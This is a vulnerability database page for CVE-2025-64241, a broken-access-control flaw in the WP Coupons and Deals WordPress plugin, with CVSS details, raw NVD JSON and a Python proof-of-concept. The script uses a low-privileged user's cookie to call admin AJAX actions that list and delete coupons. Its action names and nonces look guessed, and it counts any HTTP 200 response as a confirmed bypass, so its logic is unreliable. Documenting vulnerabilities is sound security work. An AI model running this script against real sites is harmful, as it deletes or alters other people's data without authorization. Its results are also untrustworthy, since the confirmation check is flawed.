Security Vulnerability Report
中文
CVE-2025-64241 CVSS 4.3 MEDIUM

CVE-2025-64241

Published: 2025-12-16 09:15:54
Last Modified: 2026-04-27 16:16:37

Description

Missing Authorization vulnerability in Imtiaz Rayhan WP Coupons and Deals wp-coupons-and-deals allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Coupons and Deals: from n/a through <= 3.2.4.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Coupons and Deals <= 3.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-64241 PoC - WP Coupons and Deals Broken Access Control # Target: WordPress site with WP Coupons and Deals plugin <= 3.2.4 def exploit_cve_2025_64241(target_url, wp_admin_cookie): """ Exploit missing authorization in WP Coupons and Deals plugin This PoC demonstrates how a low-privileged user can access admin-only functions """ # WordPress AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Headers with authenticated user cookie (low privilege user) headers = { 'Cookie': wp_admin_cookie, 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } # PoC 1: List all coupons (should require admin privileges) print("[*] Testing unauthorized coupon listing...") data_list = { 'action': 'wcad_get_coupons', # Plugin AJAX action 'nonce': 'low_priv_nonce' # Invalid or low-level nonce } try: response = requests.post(ajax_url, data=data_list, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request accepted - Possible authorization bypass") print(f"[*] Response preview: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # PoC 2: Delete coupon (requires admin capability) print("\n[*] Testing unauthorized coupon deletion...") data_delete = { 'action': 'wcad_delete_coupon', 'coupon_id': '1', 'nonce': 'fake_nonce' } try: response = requests.post(ajax_url, data=data_delete, headers=headers, timeout=10) if 'success' in response.text.lower() or response.status_code == 200: print("[+] Coupon deletion request processed - Authorization bypass confirmed") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("\n[*] PoC execution completed") print("[*] Note: Actual exploitation requires valid WordPress authentication") if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-64241_poc.py <target_url> <cookie>") print("Example: python cve-2025-64241_poc.py http://example.com 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_cve_2025_64241(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64241", "sourceIdentifier": "[email protected]", "published": "2025-12-16T09:15:53.640", "lastModified": "2026-04-27T16:16:36.657", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Imtiaz Rayhan WP Coupons and Deals wp-coupons-and-deals allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WP Coupons and Deals: from n/a through <= 3.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-coupons-and-deals/vulnerability/wordpress-wp-coupons-and-deals-plugin-3-2-4-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}